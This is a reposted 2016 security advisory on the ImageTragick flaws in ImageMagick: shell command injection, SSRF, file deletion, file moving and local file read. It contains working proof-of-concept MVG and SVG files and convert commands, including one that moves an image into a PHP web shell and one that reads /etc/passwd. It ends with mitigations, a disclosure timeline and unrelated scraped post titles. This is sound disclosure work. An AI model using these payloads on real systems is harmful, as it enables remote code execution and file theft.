FW ImageMagick
Nikolay Ermishkin from the Mail.Ru Security Team discovered several
vulnerabilities in ImageMagick.
We've reported these issues to developers of ImageMagick and they made a
fix for RCE in sources and released new version (6.9.3-9 released
2016-04-30 http://legacy.imagemagick.org/script/changelog.php), but this
fix seems to be incomplete. We are still working with developers.
ImageMagick: Multiple vulnerabilities in image decoder
1. CVE-2016-3714 - Insufficient shell characters filtering leads to
(potentially remote) code execution
Insufficient filtering for filename passed to delegate's command allows
remote code execution during conversion of several file formats.
ImageMagick allows to process files with external libraries. This
feature is called 'delegate'. It is implemented as a system() with
command string ('command') from the config file delegates.xml with
actual value for different params (input/output filenames etc). Due to
insufficient %M param filtering it is possible to conduct shell command
injection. One of the default delegate's command is used to handle https
requests:
"wget" -q -O "%o" "https:%M"
where %M is the actual link from the input. It is possible to pass the
value like `https://example.com"|ls "-la` and execute unexpected 'ls
-la'. (wget or curl should be installed)
$ convert 'https://example.com"|ls "-la' out.png
total 32
drwxr-xr-x 6 user group 204 Apr 29 23:08 .
drwxr-xr-x+ 232 user group 7888 Apr 30 10:37 ..
...
The most dangerous part is ImageMagick supports several formats like
svg, mvg (thanks to https://hackerone.com/stewie for his research of
this file format and idea of the local file read vulnerability in
ImageMagick, see below), maybe some others - which allow to include
external files from any supported protocol including delegates. As a
result, any service, which uses ImageMagick to process user supplied
images and uses default delegates.xml / policy.xml, may be vulnerable to
this issue.
exploit.mvg
-=-=-=-=-=-=-=-=-
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|ls "-la)'
pop graphic-context
exploit.svg
-=-=-=-=-=-=-=-=-
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="640px" height="480px" version="1.1"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink=
"http://www.w3.org/1999/xlink">
<image xlink:href="https://example.com/image.jpg"|ls "-la"
x="0" y="0" height="640px" width="480px"/>
</svg>
$ convert exploit.mvg out.png
total 32
drwxr-xr-x 6 user group 204 Apr 29 23:08 .
drwxr-xr-x+ 232 user group 7888 Apr 30 10:37 ..
...
ImageMagick tries to guess the type of the file by it's content, so
exploitation doesn't depend on the file extension. You can rename
exploit.mvg to exploit.jpg or exploit.png to bypass file type checks. In
addition, ImageMagick's tool 'identify' is also vulnerable, so it can't
be used as a protection to filter file by it's content and creates
additional attack vectors (e.g. via 'less exploit.jpg', because
'identify' is invoked via lesspipe.sh).
Ubuntu 14.04 and OS X, latest system packages (ImageMagick 6.9.3-7 Q16
x86_64 2016-04-27 and ImageMagick 6.8.6-10 2016-04-29 Q16) and latest
sources from 6 and 7 branches all are vulnerable. Ghostscript and wget
(or curl) should be installed on the system for successful PoC
execution. For svg PoC ImageMagick's svg parser should be used, not rsvg.
All other issues also rely on dangerous ImageMagick feature of external
files inclusion from any supported protocol in formats like svg and mvg.
2. CVE-2016-3718 - SSRF
It is possible to make HTTP GET or FTP request:
ssrf.mvg
-=-=-=-=-=-=-=-=-
push graphic-context
viewbox 0 0 640 480
fill 'url(http://example.com/)'
pop graphic-context
$ convert ssrf.mvg out.png # makes http request to example.com
3. CVE-2016-3715 - File deletion
It is possible to delete files by using ImageMagick's 'ephemeral' pseudo
protocol which deletes files after reading:
delete_file.mvg
-=-=-=-=-=-=-=-=-
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'ephemeral:/tmp/delete.txt'
popgraphic-context
$ touch /tmp/delete.txt
$ convert delete_file.mvg out.png # deletes /tmp/delete.txt
4. CVE-2016-3716 - File moving
It is possible to move image files to file with any extension in any
folder by using ImageMagick's 'msl' pseudo protocol. msl.txt and
image.gif should exist in known location - /tmp/ for PoC (in real life
it may be web service written in PHP, which allows to upload raw txt
files and process images with ImageMagick):
file_move.mvg
-=-=-=-=-=-=-=-=-
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'msl:/tmp/msl.txt'
popgraphic-context
/tmp/msl.txt
-=-=-=-=-=-=-=-=-
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="/tmp/image.gif" />
<write filename="/var/www/shell.php" />
</image>
/tmp/image.gif - image with php shell inside
(https://www.secgeek.net/POC/POC.gif for example)
$ convert file_move.mvg out.png # moves /tmp/image.gif to /var/www/shell.php
5. CVE-2016-3717 - Local file read (independently reported by original
research author - https://hackerone.com/stewie)
It is possible to get content of the files from the server by using
ImageMagick's 'label' pseudo protocol:
file_read.mvg
-=-=-=-=-=-=-=-=-
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'label:@...c/passwd'
pop graphic-context
$ convert file_read.mvg out.png # produces file with text rendered from
/etc/passwd
How to mitigate the vulnerability.
Available patches appear to be incomplete.
If you use ImageMagick or an affected library, we recommend you mitigate
the known vulnerabilities by doing at least one these two things (but
preferably both!):
1. Verify that all image files begin with the expected �magic bytes�
corresponding to the image file types you support before sending them to
ImageMagick for processing. (see FAQ for more info)
2. Use a policy file to disable the vulnerable ImageMagick coders. The
global policy for ImageMagick is usually found in �/etc/ImageMagick�.
This policy.xml example will disable the coders EPHEMERAL, URL, MVG, and
MSL:
<policymap>
<policy domain="coder" rights="none" pattern="EPHEMERAL" />
<policy domain="coder" rights="none" pattern="URL" />
<policy domain="coder" rights="none" pattern="HTTPS" />
<policy domain="coder" rights="none" pattern="MVG" />
<policy domain="coder" rights="none" pattern="MSL" />
</policymap>
Vulnerability Disclosure Timeline:
April, 21 2016 - file read vulnerability report for one of My.Com
services from https://hackerone.com/stewie received by Mail.Ru Security
Team. Issue is reportedly known to ImageMagic team.
April, 21 2016 - file read vulnerability patched by My.Com development team
April, 28 2016 - code execution vulnerability in ImageMagick was found
by Nikolay Ermishkin from Mail.Ru Security Team while researching
original report
April, 30 2016 - code execution vulnerability reported to ImageMagick
development team
April, 30 2016 - code execution vulnerability fixed by ImageMagick
(incomplete fix)
April, 30 2016 - fixed ImageMagic version 6.9.3-9 published (incomplete fix)
May, 1 2016 - ImageMagic informed of the fix bypass
May, 2 2016 - limited disclosure to 'distros' mailing list
May, 3 2016 - public disclosure at https://imagetragick.com/
FW ImageMagick的更多相关文章
- windows7下php5.4成功安装imageMagick,及解决php imagick常见错误问题。(phpinfo中显示不出来是因为:1.imagick软件本身、php本身、php扩展三方版本要一致,2.需要把CORE_RL_*.dll多个文件放到/php/目录下面)
windows7下 php5.4成功安装imageMagick . (phpinfo中显示不出来是因为:1.软件本身.php本身.php扩展三方版本要一致,2.需要把CORE_RL_*.dll多个 ...
- 图片处理GraphicsMagick & ImageMagick
用Java的ImageIO处理一个大于15M的JPG文件,内存溢出. 于是寻求新的解决方案,用ImageMagicK,发现处理图片速度不令人满意,于是切换至GraphicsMagicK,如下是总结. ...
- 使用ImageMagick的convert命令,实现批量rgb转cmyk
因为业务上的需求,使用脚本批量生成的二维码不能直接去打印店排版印刷,必须转换为cmyk的印刷格式. 首先去http://www.imagemagick.org/下载ImageMagick并安装,这个工 ...
- 利用开源程序(ImageMagick+tesseract-ocr)实现图像验证码识别
--------------------------------------------------低调的分割线-------------------------------------------- ...
- ImageMagick Remote Command Execute
CVE ID: CVE-2016-3714 我挺纠结应该用中文写博客还是应该用英文写博客.英文吧作用挺明显的,可以锻炼自己的英语表达能力,但是可能会阻碍和一些英文不好的朋友交流. It's upset ...
- Centos5.8 安装 ImageMagick 6.8.9-3
下载最新的ImageMagick源码包 ImageMagick-6.8.9-3.x86_64.rpm 直接prm -ivh 安装提示错误 error: Failed dependencies: lib ...
- ImageMagick常用指令详解
Imagemagick常用指令 (ImageMagick--蓝天白云) (ImageMagick官网) (其他比较有价值的IM参考) (图片自动旋转的前端实现方案) convert 转换图像格式和大小 ...
- centos6.4下安装php的imagick和imagemagick扩展教程
imagick在centos6.4的安装方法: .安装ImageMagick 代码如下: wget http://soft.vpser.net/web/imagemagick/ImageMagick- ...
- windows7下安装php的imagick和imagemagick扩展教程
这篇文章主要介绍了windows7下安装php的imagick和imagemagick扩展教程,同样也适应XP操作系统,Win8下就没测试过了,需要的朋友可以参考下 最近的PHP项目中,需要用到切图和 ...
随机推荐
- 获取取并下载tuku的漫画的爬虫
代码地址如下:http://www.demodashi.com/demo/12842.html 概述 一个简单的爬虫,实现是爬取tuku网站的漫画.并下载到脚本的文件夹中,下载的漫画按照章节名放在各自 ...
- Hybird App(一)----第一次接触
App你知道多少 一 什么是Native App 长处 缺点 二 什么是Web App 长处 缺点 三 什么是Hybrid App 长处 缺点 四 Web AppHybrid AppNative Ap ...
- iDempiere = OSGi + ADempiere 一款ERP&CRM&SCM系统、助力中小企业发展
怀揣着为中小企业量身定做一整套开源软件解决方案的梦想开始了一个网站的搭建.http://osssme.org/ iDempiere = OSGi + ADempiere 一款ERP&CRM&a ...
- where 泛型类型参数及约束
private void InsertData<TRowMetadata, TFieldMetadata, TCellMetadata>(IMetadataReader<TRowMe ...
- 【web开发学习笔记】Structs2 Result学习笔记(一)简介
Structs2 Result学习笔记(一)简介 问题一 <struts> <constant name="struts.devMode" value=" ...
- 安装ecshop默认安装后的错误解决方案
1,统一解决 php.ini中的配置 error_reporting = E_ALL | E_STRICT 这是说,显示那些不符合编码规范的警告(coding standards warnings). ...
- springboot学习(六) springboot开发web应用
1.简介 Spring Boot非常适合开发web应用程序.你可以使用内嵌的Tomcat,Jetty或Undertow轻轻松松地创建一个HTTP服务器.大多数的web应用都使用spring-boot- ...
- hibernate配置文件再写
hibernate配置文件主要用于配置数据库连接和hibernate运行时所需的各种属性,每个hibernate配置文件对应一个Configuration对象,hibernate的配置文件有两种格式, ...
- 40-语言入门-40-C小加之随机数
题目地址: http://acm.nyist.net/JudgeOnline/problem.php?pid=255 15 20 32 40 67 89 300 400 代码: #includ ...
- TextFlow with JavaFX 2
http://sahits.ch/blog/?p=2372 ———————————————————————————————————————————————————— TextFlow with Jav ...